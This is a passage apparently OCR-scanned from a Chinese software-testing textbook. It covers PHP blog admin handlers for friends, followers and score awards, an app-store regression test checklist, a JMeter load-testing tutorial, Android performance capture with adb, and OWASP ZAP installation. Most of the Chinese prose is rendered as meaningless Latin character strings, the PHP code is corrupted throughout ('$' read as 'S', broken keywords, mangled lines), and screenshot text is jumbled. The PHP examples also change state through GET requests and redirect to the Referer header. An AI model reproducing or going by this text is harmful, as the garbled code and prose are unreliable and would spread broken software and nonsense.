include View::getView( 'homehead');

include View:: ‘v ( "homebar');

require once | :getView('friend');

include View::getView(' 'homefooter');

=

View: :output();
}

//interface URL: XXXX/blog/admin/myfriend.php?action=add&uid=)00&fid=x0X B AFEZHEE
if{faction == "add'){
$fid = isset($_GET['fid']) ? intval($_GET['fid']) : 1
if(!$Friend_Model->isUserFriendExist($uid, $fid)){
$Friend Model->addFriend(Suid, $fid);
}

IreturnURL = './myfriend.php?rnd=".rand()."'";
emDirect($returnURL);

}

f/interface URL: XxXXX/blog/admin/myfriend.php?action=appRuid=)00@fid=)0 #EM A IFEER
if(Saction == "app"){
$fid = isset($_GET['fid']) ? intval($_GET['fid']) : 1
$Friend Model->approveFriendRequest($uid, $fid);
SreturnURL = './myfriend.php?rnd=".rand()."'";
emDirect($returnURL);
}
//interface URL: XXXX/blog/admin/myfriend.php?action=del8uid=)X0XX&fid=000( &iE=f A 05
if(Saction == 'del’){
$fid = isset($_GET['fid']) ? intval($_GET['fid']) : 1
$Friend_Model->deleteFriend($uid, $fid);
freturnURL = './myfriend.php?rnd=".rand()."'";
emDirect($returnURL);

A 13-3  “FEF AR

o 4 A7 AU S A, getMyApprovedbriends gk f U I 1 4 AT A K.
getMyAddFriendsRequest 315 28 15 FR A HE 1 U4 &2 1) % . getMyPendingRequestFriends 4
PeAF TR 10 U AT oK 55 5 At A HE 1 51 3 L getNotMyFriends A 3R BUUF A HEFZ O H) s X B
2 action=="add"I} . MBI A B S U4 .2 action=="app "B, L HEAL AN 4 A2 0935 5K
i] action=="del "I} , M & ftb AN 4f- A7 2R /MM B - A . fl e o DAASE Y 0o > o e B B 2

e LM X JLAS IR S A SR 3 JUAS 9 R A7 i1 384 I L A S5 454 it 003K R 48] e ] LA ey
kT,

T LEACRS A 13-4 s .

“Fo L ECIS P, getWhoFensiMe 1] DL3RBCE 1 T 195 %, getIFensiWho 1]
DI AREL RN IR S TE T HEM %) % . getINotFensiWho pREC AT DL S BRI HE & X9 % . FFEY
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{?php
* RETXEFE
* Pcopyright (c) 3

!

require_once 'globals.php’; [ EFIIE

fuid = UID;

//echo UID."<br/>"; // BT

$Fensi_Model = new Fensi Model

if {Eactinn = ""} {

Efensi = SFensi_Model->getilhoFensiMe(Suid); J..h 2

f$fensiwho = SFensi | Hudel »getIFensiwho(Suid); //3X>=
frecommand = EFen51 Model->getINotFensikwho (Su1d]

lnxlUdE View::g

clude View:

E1U1 2 onc

iew(’ homehead ' );
:: /(" homebar");
:getView( 'fensi');

lﬂ’ludu View: :getVi . ew( "homefooter®);

output();

//interface URL: XXXX/blog/admin/myfensi.php?action=add@uid=Xxx&sid=Xxx DB AAFFE
if(Saction == 'add'){
$sid = isset($_GET['sid’']) ? intval($_GET['sid']) : 1
iT(!$5Fensi_Model->isF pni;:a;;*{3u1d, $sid) ){
fFensi Model->addfensi(%uid, %sid);
}

sreturnURL = './myfensi.php?rnd=".rand().""’
emDirect($returnURL);

}

J/interface URL:

X000/ blog/admin/myfensi.php?action=delfuid=)008sid=)0 ELifxiF
if(Saction == 'del’){
$sid = isset intva
$Fensi_Model- »deletefens {5u1d $sid);

L($_GET['sid']) : 1

SreturnURL = './myfensi.php?rnd=".rand()."";
emDirect($returnURL);
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require_once 'globals.php'; //& ;
//interface URL: X)XXX/blog/admin/score.
$5core_Model = new Score_Model();
Suid = UID;
HBREE—K B—2, SRTFEERS
it (Saction == "') {
$todayAlreadyScored = $5core_Model->isTodayScored($uid);
//echo $todayAlreadyScored;
if(!StodayAlreadyScored){
$Score_Model->addScore(Suid);
}

$returnURL = './mytravel.php?rnd=".rand
erDirect($returnURL);

}

¥ %
//interface URL: XX00(/blog/admin/score.php?action=add&scoreid=XXX&score=XXX ==

if($action== "add')}{
$scoreid = isset($_GET['scoreid’]) ? intval($_GET['scoreid’']) : 1;
$score = isset($_GET['score']) ? intval(%_GET['score’']) : 1;
$Score Model->awardScore($scoreid, $score);
$returnURL = §_SERVER[ 'HTTP_REFERER'].'?rnd='.rand().'";
emDirect{$returnURL);

}

//interface URL: X)XOO(/blog/admin/score.php?action=sub&scoreid=)XXX&score=XXX
if(%action== 'sub’){
$scoreid = isset($_GET['scoreid']) ? intval($_GET['scoreid’']) : 1;
$score = isset($ GET['score’']) ? intval($ GET[ 'score’]) : 1;
$5core_Model->subScore($scoreid, $score);
$returnURL = $_SERVER[ 'HTTP_REFERER'].'?rnd='.rand().'';
emDirect($returnURL);
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< 15-1 AutoDesk Regression Test Case

Feature

What To Test

What NOT to Test

Pass/Fail

Store Selection

All stores but the two listed in
Column C

Autodesk 3dsMax

Autodesk Maya

Quick Links

Link is functional

Correctness of link name

Link directs user to the right page

Spelling

Link shows the right number of
applications

Best Sellers

Link is functional

Correctness of link name

Link directs user to the right page

Spelling

Link shows the right number of
applications

Search

Is functional

Search result are correct

Show All link

Application-Selection

Application is clickable

Correctness of Thumbnail

Link is functional

Correctness of application name

Correctness of description

Application

Free Application can be down-

loaded

Reviews display on page after
entering-all reviews need to be
review and accepted by appstore
managers before they are listed
on the site

Trial Application can be down-
loaded

Correctness of application data-
all these applications are ONLY
testing application. Please con-
centrate on functionality

Write a Review when signed

Download applications that re-
quired payment

Number of reviews listed =
Number of reviews mentioned
on application details

Download Details; all
listed ;
Size. language. Release Date.
Companys Websites Cust Sup-
ports, Compatible With, NO
MANDATORY fields can be
empty

sSeven

fields are Download

Download Details: link is func-
tional and work as expected
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Feature

What To Test

What NOT to Test Pass/Fail

Application-Publisher
Workflow

New Applications can be crea-

ted

New Applications can be pre-

view 1t
Filters
Link is functional Correctness of link name
Link directs user to the right ‘
Spelling
page
Link shows the right number of
applications
Sign In Sign In is functional Sign In Dialog: UI alignments
Account Settings
Unpublished applications are
My Uploads

listed

Application display information

entered when they were created

Applications can be deleted

Applications can be edited

My Downloads

Downloaded applications are lis-

ted

(more) (less) links are func-

tional

Subscribe Entitlement

Subscriber only app only can be

downloaded by subscriber user

Subscriber free apps are free-

downloaded for subscriber user

Subscriber free apps are non-
free downloaded for non-sub-

scriber user

Subscriber only app can NOT
be downloaded by non-subscrib-

€r user
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16.1 JMeter W4

JMeter J& 100 % 2l Java 5 [N )T - 8% B i H 2R K %5 7 g /
Al 55 4 25 R 1 3R (i an Web W R o B nl DUR RNl 40 36 2 T
A B A W IR R Y 0 M BE . ) a0 e S U Java Servlets, Java X
% BUEE FTP R% %545, JMeter 0] AFIAE — AR 45 28 . N 2% al &
X2 b A AU E 0 2K I 1Y 9 BE 5 B AE AN R Y T 2R R Y
S PERE .

7351 s IMeter fig i i Wy 75 > B 2 W 5 A A< DAL 56 Uk iy R Ty &

iR [u] T HAEE 2SI, MO HE B a5 R )Y . TMeter R (8 F OE W
Fah AW AR R KRG

JMeter f5e 9] FIAE P RE I . 28 v 3t e . 38 ol DL HAE #2111 A 3 fk
e, X FEZEAN 4 IMeter FIMERE 1 A ALK, 35 22 6 5L 322 1
2 R I 16-1 s

1. JMeter )£ H 555 5
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Hudson{f: 5% 1 &£ 557 1 451
HTTP Request
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Hudsonfliz 35 7%
ﬂJDBC Request
{ i DB J

B 16-1  RRgefE a0l 2E i

(2) 58] AR 1000 4f Java,

(3) 584 Swing FIREE HIF 345 (W4 31 JAR {8 ] javax. swing.* ) fd,

(4) 58 &2 LR ZLE FRVF Il i 22 > 2 - i BOURE i ok B 1% 25 A2 2H X5 AN [R] 719 g e [
IR HURE

(5) K01 GUIL BT, SUVF PR AF ARG 06 (T I

(6) ZEAT-HIES LR 53 By / [l 345 21

2. JMeter )] 97 JE vk

(1) n] g4 1y BORE 8% Fe a4 Jo PR ) iy il X e 7 .

(2) &Pt 2R G0 1 3 A0 ] B4 1 i a5 o] AR 5%

(3) BAs 7 B Hea] A A4 328 4 7 AR&F- iy n] 97 e vk DL B~ tE A .

(4) BA A& 5 A B 05 11 2 g (414E JavaScript)

(5) SZFFIAA g FE I BURE &% (FE 1. 9. 2 X VL | A 32§55 BeanShell)

16.2 JMeter 223 a4

16.2.1 =Z3£ JMeter

(1) JMeter FZEHbHE A http://ijmeter. apache. org/download jmeter. cgi.

i) JMeter ‘B M, F % IMeter S Fr A . A& 16-2 T2,

(2) JMeter N2 TT 2 Java 58 . 2 /08 JDKI1. 6 fiA~, JDK M5 fc & 5¢ lWn . 1517
JMeter,

(3) fift N E T 81 TMeter % 56 40 B <t H 5%, [H A 2219 1 77 0O AS , i DL B30
mEEFIECHHERET.

16.2.2 i&1T JMeter

G TMeter 194255 H 5% F 483 bin X4, A7 jmeter. bat XA, 5 )5 Bl n] )3 3l
JMeter FIEF . W0 E 16-3 firas .
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¥ Apache IMeter - Download

« > C 0

o Change History
s Javadocs

o [Meter Wikd

« FAQ (Wiki)

| (D jmeter.apache.org/download _jmeter.cgl
ke

KEYS

Tutorials
+ Distributed Testing
¢ Recording Tests
o JUnit Sampler

> e T T
For more information concerning Apache JMeter, see the Apache JMetor site

Apache JMeter 3.3 (Requires Java 8. JMeter 3.3
does not yet support Java 9.)

BB - Qe

» Access Log Sampler
+ Extending |Meter

Community

» Issue Tracking

+ Security

+ Mailing Lists

¢ Source Repositories

o Building and Contributing
» Project info at Apache

¢ Contributors

Source

Foundation

+ The Apache Software Foundation
(ASF)

¢ Get Involved in the ASF

+ Sponsorship

. nks

Archives

apache-imeter-3 3 src igz mdS shaS12 pap
apache-jmeter-3 3 src 2ip mdS shab12 pgp

&l 16-2

£ Apache Meter (33 1808647

M R Search jET EM FEHh

T # JMeter

Ol LT(@ +|-]</p[p/@6 % % od e cB) s oa g

pp————— — n o B ?I:I o r

R Tre | kit N
| o (it |
| - |
FiLPSE R
£ | &
Detail By Add from Clipboard HiF% Up Down

| O mms

| AREABTHMTER -
| izt ammeante .

L #harisiria-r i (PinE— TR R —1)

| []Run tearDown Thread Groups after shutdown of main threads

| PESGEERRE R RS RS EEEE

udmmrnrjurmmmml .. || ilER ||I R | =

Library

p—

& 16-3 JMeter EEF 1

— ATy B R AL B B AR G . Test plan (331 %)) — Thread Group (Zk #24H) —
Sampler (JUAE SR ) — Assertions (W75 ) fl Listener (W Wr#%) .

16.3 JMeter JJHEE HI

i ] IMeter 5 A L IAAS i 7 2 AE— D0 R el 2 A4 A m B 5L
H T it 24> Sampler FE H LA FH B, 5 e FHEC— 4 T Ge 11 I L2521
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16.3.1 %724

BRRFTH TMeter FEE S0 3 3+ %) Fn TAF & &R &2 & 4, e £ Cat R L A 5 FF 8 ¢
“UsTn”—Threads (Users)#g2 ) R FEAH 1 3 Rk, 0 16-4 s,

4 EEE() jmx (E\SERIHSKEFRSCE 08 BE255(1) jmx) - Apache IMeter (3.3 r1808647)
[| 3z B4R Search jEfT ®F % g
/6@l (% C[a][+[=[*|p[b1®o [ - = 4 d [ab] 68 Fw s o
Mt &1 I
[ :ﬁn]: 2 | Az
iy | g (e |
# BEENIER | lsa.
& HTTP Cookie E1ESE | : ——
i o s EEEm | SR R TR
o 1 EBRE)TE IMEY | @ giEE O StartNext Thread Loop O fE1HEE8 O kA O Stop Test Now
o 0 2. FRERT 3 ERem |
o 3 BRENE, {iTHER | e
A 4. ZREW, THRMD | wparEe 1 |
\ :_ é;;;immm 3; Ramp-Up Period (in seconds): |1 ]
o 1 BRAR | iR o |1 |
a- ff 2. §Fah i
o= MBEETRTH : [ Delay Thread creation until needed
¢ FAPBRLER
\ o BERET g =Lt
B I | iEEsnE
FHERSTE ()
| mabEER )
: Bxhiiia
| EEERRiE
e — p——— ey — e — —— T——

 16-4 FrELEA

ZE FE 2 43 7 Setup Theread Group,terDown Thread Group #1 Thread Group., H /',
Thread Group s frfEZK FE 4H ; Setup Thread Group & fF Test J i 4C # #4147 ) Thread
Group (J7fEH P Testing M#1&4k) ; T Teardown Thread Group & 76 T A HAth JE Y 1y
Thread Group &5 W )5 #4471 Thread Group (7 {8 Cleanup ) TAE) .

X 3P FEH AR TFEA MO Z)n R mEse N,

16.3.2 EETH

L B JCfF (config element) H - #8125 K048 I B 1) 45, AH Y T I & B4l . CSV
Data Set config 1] DL ¥ 7% Hb B 3 - 4 5 B 35 7t (data pool) . 1 X i T HTTP Request
Sampler Fil TCP Request Sampler %25 # (¥ i B oo 4 W) af LLE ok Sampler 1) 2RI\ 8 .

1. CSV Data Set Config

/I CSV Data Set Config JGAF, n] LUK 25 FH 7 24 F %5 0% 2 504k L A6 25 152 BSOS Hh i
R, T8 284, B E.7E Excel #M8HHd—0y CSV #5200 3CH . i 16-5
T 7 .

SRIGAE JMeter FR R E S EL M B35 5K S EHE“ N7 —“ B & ook —CSV Data
Set Config, 2z ¥s Il — > CSV Data Set Config, 75 2 & B AH M) — B8 Py 25, HAK 0 & 16-6
T

Filename: SCIF 44 48 PRAFAG B SCHF B %, 0] LL R A X #% 42 ol 25 46 %) #& A, i 4n B\

user, Csv,
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L2 Fik | RIFAT o rr ol ==

D5 -

s [ B [ c lpe] e [ r [ ¢ [ B [ 1 [ 3 [ K |

1 sms testl23

2 17 testl123

3 ZXT testlZ23

4

(5 —1

3]

T

(&)

9

B 16-5 HrE CSV XY

Wit UeE Search iy A MW

Deladd £50 [+ =% rroo %% ddenr R o oA 01 @
Mhilitil :
"+ & | €5V Data setConfig
- TEEEH i & [csvData Set Corfig
* | =
o= B8 Shix{enerabe parent sample i R
o= B i% Generaba parent sample | rConfigure the CSV Data Source
o FELENERE Filename: [E-user.csv |-r|l Browse..
¢ 5 EER ; :
/TR : File encoding . |~.-
/' JOBC Request E mmm&.nﬂuk USEMame fassword | i
AR | | ignore first kne fonly used if Variable Names is not empty): Fakse |T
Bl I i

Dedimiiter {use ' for tab): |
Allow quoted data?: | False

Recycle on EOF 7:[True -
Stop thread on EOF 7; |False -
-

Sharing mode: |All threads

E 16-6 CSV Data Set Config At &

Variable Names: Z8 A, 20 Z 804 Fr A 8] 9 S0k X 0382 5 40
AR R S8 E 16-7 s,

it B Search JEIT R BN
C8@aE| X5 [+ =% pb0o %% odevEl pooss oA o
7 o MiHE ;' -
?ﬁiﬂi?ﬂ | HTTPiR
o REEmH | |t @R
A CSV Data Set Config q 1.
o= B EkGenserale parent sample : f;l?: —
o= BN Sk Gengrale parent sample " Basic r” cad |
g SntEiryEE :
b x M Webighi 8 :
 HTTRET | || e RESEDEREIP: Wi rogisofl com | ®Oe:
A JOBC Request | |-HTTRE$
e ' t |: |
Elﬁiﬁ ; Fik: 5= |/admindindexr php?backuni=hip iwew rogisofl comizhswindex phpuser=$Husemame s pw=5password} tent encoding:

[ meesms  [F] meEsmsr o] Usa Mospllive || Usa mulipet T dola ke POST [ Beovasr-compatinle hadsdern

| | (eSS soay veta [ Fres upioes |

A o — A i =
e | i [ w2t [ mamTe

B 16-7 BlHZS%

PEAEZE AN E 16-8 Fif s

CSV Data Set Config H 2 faj 5L 5] 1 © K 7 24 F% 5 2 di I 36 (19 92 56, ) 1 23 %
AR AT A, fet IV AS B i A
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i SR Search JEiT GEAMR AN
D8laud X(ca [+/=% 006 bt dd ek E8 Pt o o1 @
¢ & Milibu i
paprighiont | RS
- R | [el: mamen
#% CEV Data St Config || e
& B i Generate parent sample i
o= 8 1% Generate parent samiple SRS A —3
i s | s | [t Lopespiay Oy [ EHHR [ Succssses
¥z ; — —— ——— ——— ——— e ——— — —— e —— — e — ——— e =
# HTTPEE E: — 1 =
A JDBC Reques : 5"-T'h:l |Di:‘.u|m Dﬂltllllﬁ| Search | Resat | I
K] i | [ |-;[ mismEE | WE | vaEaiE |
11t ﬂﬂﬁa- T hitp:ifwwew_rogesoft comizhswbegiadmandncex. phi ?backur=hip-www rogisoft comizhswindex phghuser=sms&pw=test123
L ;
MPosT data:
o Cookies]
quest Headars:
fconneciion: keep-alive
ficontent-Type: application/s-wan-form-unencoded
‘fcantent-Length: 0
‘IHost www rogisolt.com
er-Agent Apache-HmpCRent4 5.3 (Javai.8.0_144)
[] Scroll sutomatcally? Raw | HTTP

B 16-8 #ELR

2. JDBC Connection Configuration

LEEIE TAES B E M RN I FEH £ 0F TMeter 8 (8 HEGE . B F A E oot
EAT B hE R L an A 16-9 T,

i iR Search JEiT JAMR b

Djeadd XEa [+[=% b0 o % Jd et =0 pooosi oA o
g Mistitsl : .
i :ﬁléﬁﬁ | JDBC Connection Configuration
o RUGRH | dsks: poBC Connecton Contguration |
£ CSV Data Set Config .
Ao HTTREE L EEEE £ =
o BT | Vanabie Mame Bound to Pool
7 106 Connecton Contuaaton | | vanete ameos_sue_cres gm—" iz |
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[ ¢ 3 APBRLER
- S ASRBLES
Kl Ife&

24841 ymx) - Apache JMeter (3.3 rlmt'ﬂ'.-l_

e

Detail hn Add from Clipboard s Up Down

. E—— E—

&l 16-10 M HENXZEE

Me B O B D BORE SR $ I A G2 17 B A B S 80 AT A BC B AT 4 WA 4 3707
fifi . X HRF 2 LD wl TSk (1~999 BEHLA: B 805 41 6 Ak, B IR T IAS P 24 # AN
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P 5 AT IG5 . TR Rl o g B A 31T A0 A L U7l TMeter SE T AT S
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DielaCd x[E[a [+[=]+r][n]@ o %= = o« o E0 poooss oA 01 @
e, Toncrens -
& FEEURE | &= DDBC Request
Ll ZhixGenerate parent sample " Eﬂ-
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B Ve A2 1), o] BB T 2 38 O L 7 Be (oL, DY e 77 SR LA 2R . n & 16-19 Jiras, o
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- B jmeter. propertiesEd

1002

1003 # CookieManager behaviour - should variable cookies be allowed?
1004 4 Default iz true. Use false to revert to original behawviour

1005 #§CookieManager. allow _variable cookies=true

1006

1007 # CookieManager behaviour - should Cockies be stored as variables?

1008 [m e
1009 CookieManager.save.cookies=true H—"'_f —I—ﬁb-%— ] EEA] #
1010

1011 # CookieManager behaviour — prefi)ﬂ to add to cookie name before storing it as a wvariable
1012 $# Default is COOKIE : to remove the prefix, defines it as one or mores spaces

1013 #CookieManager. IlaII:I.ET]:I-I‘Ef ix=

1014

1015 # CookieManager behaviour - check received cookies are valid before storing them?
1016 § Default is true. Use falae to revert to previous behaviour

1017 #CookieManager.check.cookises=trus

1018

1018 $# Netacape HTTF Cookie file
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1021

1023 $§ JMeter works asz following:

1024 # - JDK >= 8 and javascript.use rhinc=false or not set :
1025 # - JDK >= 8 and javascript.use rhino=true: Rhino

1026 # If you want to use Rhino on JDEB, set this property to true

Naashorn

1027 #javascript.use rhino=false
1028

oo

1022 § Ability to switch to Nashorn as default Javascript Engine used by IfController and javaScript function
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C:\Users\asusradb devices

List of devices attached

adb server version (31) doesn’ t match this client (39); killine...
*¥ daemon started successfully *

Q05ccd42bTde2 device

C:\Users\asus>
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adb install GT 2.2.6.5.apk
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Bl CAWINDOWS\system32\emd.exe
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C:\Users\asus>adb pull /sdcard/GT/G¥/com mogujie/10. 2. 0. 8719/test1/CPU_20171222222113. csv d://tools//cpu. csv
{sdcard/GT/G¥/com moguiie/10. 2, 0. 8719/ test1/CPU_20171222222113. csv: 1 file pulled. 0.4 MB/s (1870 bytes in 0. 004s)

C:\Usersh\asus>

C:\Users\asus>

Bl 17-15 R 301+ th B2 3 55 4l

v A » FEEE » Data2 (D:) » tools
=Fr =X HE =H Fh
B:] cpu.csv 2017/12/23 9:25 Microsoft Excel ... 2 KB
by GT 2.2.6.5.apk 2017/12/22 1241 Android BEFE=.. 2,703 KB
v Y iTest4.5.0.apk 2017/12/22 19:21  Android BF=... 2,903 KB

E 17-16 R A it B 61

o PPN . XA AR YR L KK T 1L S A RO T2 S

ANEmEZEANG T REMH GT T R R R E, KK L4 & IR m

Android N H Y8835t - 40 M e o HAR 19 M BE [m)

17.3.3 SEIg#pFEixBA

£ A a4 T H 5 AR B AT, HF A A B3 ol 08 A B3 A A & B2 i adb Ay 2 ol 7F
T HAFEFTHERE NI, N L Android Studio 4 , 8 58 7 dnfa] dE 47 PEGE DN A, 5%
BRI

(D) #ERFHILHITH R, 3T Android Studio,

(2) FTH Android Monitor #8 A .

(3) & FF 4 I 7 FH T X5 i 149 42, 44

(4) W= EAE APP M EZEERESS b W 17-17 JoR.

!{r T EREIT
B RN XAE - NMHRARAESEFERSGET S ETZAA EL 6 4. F 2Kk e
ZATHRABRKYERSKF, AEFHOFLIEP.EASTTHEARNE G 7T EBYEMR

) 3X, , PR E f' o T2,



RIe17  BEt TR 6T il %k {89/

Xiaomi Redmi 3 (005cc4257d62) v system process (2742) - X ©®© [uvebl]
Advanced profiling is unavailable for the selected process
Configure this setting in the Run Confiquration|

CPU a%
[ 100 %

&0
s s e i i e, e T B i B, D, e e OB e

MEMORY 80.62 MB
128 MB

NETWORK === Sending: 0 B/S === Receiving: 0 BIS
| 256 BIS
128

]ﬂﬂmd.ﬂ-.ﬂﬂsl | | |3ﬂrn4|5.ﬂﬂsl | | .ﬂﬂmﬁlﬂ.ﬂﬂ; ] |30mf!-5.msl | | |!!‘1rnI | | .31m5].ﬂﬂ-{- |

& 17-17 7E Android Studio F WZE ¥ e 35 4%

;@3 BRI

M GT T HX AR =W — X8 3 APP #4170,
IREE . T VA& http://collegecontest. rogisoft. com/awardshow. html ¥ & ¥  F 4 B
SRR FALXENEPEAINGE S ashiLn X T LA .
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ZE2EMR TR ZAP Il %

XBHMN

OWASP Zed Attack Proxy(ZAP) & —1-% T HAZ 5 1. H
T Web W HRR)IFIFAZ I8 B EW A T H, EREHTZ2 T %K.
RN G R A L, miE T EMIAA TG, B T4 A
ghidm T H A4t 7 — B T T332 4 L e il i T. 5,

ZAP & — MR M T B R a2 S 354, ol LR
Pk Mz dwil . B AR AL S L BE B AR R . ] Selenium 18 2 fig
[a] 5] i (regression test) , il 13 5 & & W5 B . ZAP 2
— i,

AL HE T W FH ZAP T Bk 4742 45 8 W, 3F 20 tr
45

18.1 ZAP I H ¥

ZAP RE R NE

(1) % .

2) BYH.

(3) ZHH.

(1) o U%%,

(5 HPrfb  ZFFZHIGS.
(6) SCAY 4T .

18.2 ‘#3E¢ ZAP

AP B4 ZAP 2. 3. 1 Windows BrifE it AH R A 2. 49K, ¢
# AL B AT B35 1 dwof i A .
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18.2.1 IREEXK

ZAP 2.3.1 Windows RAS 75 2 Java 7 M R BL, i UL % % Java 7 JDK 834
JRE RG22 %% ZAP Al IE R A 2l WK . B8R H AT A o] DL 32 22 38 sl o iy . A
%ﬁﬁﬁi%)ﬁ 9Efﬁ] ZAP ﬁﬁﬂ{aﬁﬁ?% Java ﬂ:jﬁ !an’ﬂ 18-1 ﬁ)?.'ﬂ:;a

Java Virtual Machine Launcher "_

9% Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.

R e — — —— — I TR

This application requires a Java Runtime Environment 1.7.0

BE

& 18-1 Java HEEEE 1R

18.2.2 ZHELE

TS 44 Windows ¥Ei |22 3% ZAP AW 28 T 2 .

(1) 1Jjn] https://www. owasp. org/index. php/ZAP. | # % % 4] Zap_2. 3. 1 _Windows.
exe, NE 18-2 Fran, 0] L3 A 15 fid 2 M 35 http://books. roqisoft. com/download F %
ZAP B AF .

ZAP 2.3.1 Standard °

| Windows 2014-05-21 66.3 MB Download now
INUX [ Cross plattorm TR0 TTomB Downlo=d now

Mac OS/X 2014-05-21 212.0 MB Download now

E 18-2 3 {F

(2) Wi Zap_2. 3. 1_Windows. exe JF i 2253 . B SLATIF 0 Fr 1 . 4 ily Next %8 . 40
Pl 18-3 i,

(3) AP . EH T accept the agreement. %8 J5 ¥tk Next ¥4, W0 & 18-4
PR .

(4) P AEBELRE H FEH M, 0l LS Browse #8, A % L& 5% H 5, 8 Next #7241
AT —20 Al ] DU BN B 5 B Next 38 A F —25 . i 18-5 s,

(5) nJ LT Browser % fH 08 £ 1 45 5 B2 3% H 5% .t n] LAATEGA H 5 B 4% H v Next
N T —25, K 18-6 o,

(6) nJ PLiEFE Create a desktop icon €Y & — A4~ 5 1 E 45, W& 18-7 x££ Create a
Quick Launch icon 8| # — /N HRFESE R E bR, 25K, n] DI 5 5B AN 38 . AP 4 5 1 E AR
7 (NS Ty L N ol L

(7) Bt AR Sl Next 428, A ME A 4223 S, &l 18-8 .
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EEI Setup - OWASP Zed Attack Proxy 2.3.1 ==l

Welcome to the OWASP Zed
Attack Proxy 2.3.1 Setup Wizard

This will install OWASP ZAP Version 2.3, 1 on your computer,

It is recommended that you dose all other applications before
continuing.

Click Mext to continue, or Cancel to exit Setup.

| Next> | | cCancel |

& 18-3 WP HE

5 Setup - OWASP Zed Attack Proxy 2.3.1

License Agreement
Please read the following important information before continuing.

Please read the following License Agreement. You must accept the terms of this
agreement before continuing with the installation,

Preamble -

Il The intent of this document is to state the conditions under which a
Package may be copied. such that the Copynght Holder maintains some
semblance of artistic control over the development of the package while
grving the users of the package the nght to use and disinbute the

| Package m a more-or-less customary fashion, plus the nght to make
reasonable modifications.

L T

@) 1 accept the agreement:

(©) I do not accept the agreement

| <Back || Next> | | cCancel

Bl 18-4  fREZ UM

5 Setup - OWASP Zed Attack Proxy 2.3.1

Select Destination Location
Where should OWASP Zed Attadk Proxy 2.3.1 be installed?

l Setup will install OWASP Zed Attadk Proxy 2.3. 1 into the following folder.

To continue, dick Next. If you would like to select a different folder, didc Browse.

“ Browse. ..
L

"

i

L]

' At least 94. 1 MB of free disk space is required.

L]

| <Bak || Next> | | CcCancel

k1185 HHFELZRBAFRAE

EMR TR ZAP )l 2k

2



Select Start Menu Folder
Where should Setup place the program’s shortcuts?

a Setup will create the program's shortouts in the following Start Menu folder,

To continue, dick Next. If you would ke to select a different folder, dick Browse.

[ | Don't create a Start Menu folder

| <pack || Mext> | [ concel |

E 18-6 EFFLRFEHEF
5] Seiup - OWASP Zed Aitck Proxy 23 T e s

Select Additional Tasks
Which additional tasks should be performed?

Select the additional tasks you would like Setup to perform while installing OWASP Zed
Attack Proxy 2.3.1, then didk Next.

Additional icons:
Create a desktop icon
Create a Quick Laundh icon

| <Back || Next> | | cancel |

& 18-7 ) E 5 i bR A

i3 Setup - OWASP Zed Attack Proxy 2.3.1

Ready to Install
Setup is now ready to begin installing OWASP Zed Attack Proxy 2.3.1 on your
computer,

Click Install to continue with the installation, or dick Badk if you want to review or
change any settings.

Destination location: -
C:Program Files (x86)\OWASP\Zed Attack Proxy

Start Menu folder:
I OWASP

Additional tasks:
Additional icons:
Create a desktop icon

A 18-8 WERIFEFEFE
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(8) WA AT 223k T, By Install #2053, P 18-9 Fras 2 b4y v Jr 1l .

i& Setup - OWASP Zed Attack Proxy 2.3.1

Installing

Please wait while Setup installs OWASP Zed Attack Proxy 2.3.1 on your
Ccomputer.

Extracting files...
C:\Program Files (x86)\OWASP\WZed Attadk Proxy\ib\commons-collections-3.2. 1.jar

& 18-9 ZiARHATH R

(9) ZZEXE G A A R SE R A . WA 18-10 s . Bk Finish $Hl . 56 B 22 3
B R )Y .

8 Setup - OWASP Zed Attack Proxy 2.3.1 D

Completing the OWASP Zed
Attack Proxy 2.3.1 Setup Wizard

Setup has finished installing OWASF Zed Attack Proxy 2.3.1
on your computer. The application may be launched by
gelecting the installed icons.

Click Finish to exdt Setup.

Al 18-10  922% 5¢ AL 5t T

18.3 AL

ZAP i FACHE Y 7 2ok £ ek . B P nl DL ik ZAP F 3 T A 1038 2K B L, 36 v DL 2
HIERAMITA AJAX, W B ol PLis & W S 8 ST — 15K . A & i oK Fm oz, B 18-11
FfF 71~
18.3.1 EEMRIE

FEIF G Z 80, FH P i 5 ZAP fE (G,
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;M-.mﬁ | wgze= | 3¢ ekdf | | SeriptConsole |

Welcome to the OWASP Zed Attack Proxy (ZAP)

ZAP I3 an easy to use integrated penetraion testing tool for finding vulnerabilities in web applications
Please be aware that you should only attack applications thal you have been specifically been given permission to test

To quickly test an application, enter its URL below and press "Atack’

URL to attack Initpetf
| i ek ] B Stop
Progress: Mot started

& Select..

& 18-11 £ ¥/ K F e i

Lo AR TR 5 doyic & 4C
(1) SR BERES T B = 10 a2 A0 ] 18-12 o,

Xt e TF ofr RS EECY Online #h

(Standardmode ) | ] &3 | . Vi i =seb )X
W () scpis | ProveeA | e | € i || Scrif
el el = Ctri+E
@ it Toggle break on all requests Ctri+B
Toggle break on all responses cu+Aa+e e OWASP Zed /
Eg Cirl+S
s Ctl+C jted penetration testing tool for fin
gn it nuld only attack applications that y
Add a custom HTTP break point .. Cirl+A
Advanced Aclive Scan... Cirl+Alt+A | enter its URL below and press ‘A
FrhERigEaE Ctri+M
Run the Garbage Collector o

Manual Send WebSocket Message

Bl Stop

Ctrl+Alt+0

|| -y

[ O## | < HupSessions | () ZestResuls | ( Ciients | 4¥WebSockets | HkAJAXS

s S | Xeis | PEBR [ ) i | #seider | Forced Browsy

B 18-12 Bl B LSRR

(2) EFEARHACH,BAC L ECE WA 18-13 o, i i 1A vpge nf DB 2 i 11

A} Options
¥ Options
1

Active Scan Input Vedors Alafug o

AJAX Spider 1

Anti CSRF Tokens .
AP Addrass (eg localhost, 127.0.0.1) localhost

8080 E

=

Applications
Authentication (Deprecated) Port (eg 8080)
Breakpoints

Centificate
Conneclion Set your browsar proxy setting using the above. The hiip port and hitps port must ba the

Database same port as above.
Dynamic SSL Certificates Modify/Remove “Accepl-Encoding” request-header

EncodeDecode (/] Atways unzip gzipped content
Exensions 4 K

Forced Browse ‘| Security Protocols
Fuzzer
Global Exclude URL (Beta) fssL3yf st fj s 1.1 [ TLS1.2
Htip Sassions
Keyboard
Language
Search
Spider
WebSockets
FEh3EE

e

Wbk

A o18-13 Al B
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2. 1F Windows £ %il) Google Chrome *|'[ic B fCH
(1) B Google Chrome £y I ffi ¥ 41 , ¥E 4 Settings 72, W& 18-14 i~

O]
Mew tab Cirl+T
MNew window Ctrl+N
New incognito window  Ctrl+Shift+N
Bookmarks b
Recent Tabs r
Edit Cut Copy Paste
Save page as... Ctrl+5S
Find... l:__tll +F
Print... Cirl+P
Zoom - 100% + -
History Ctrl+H
Downloads Ctrl+)
Sign in to Chrome...
Settings

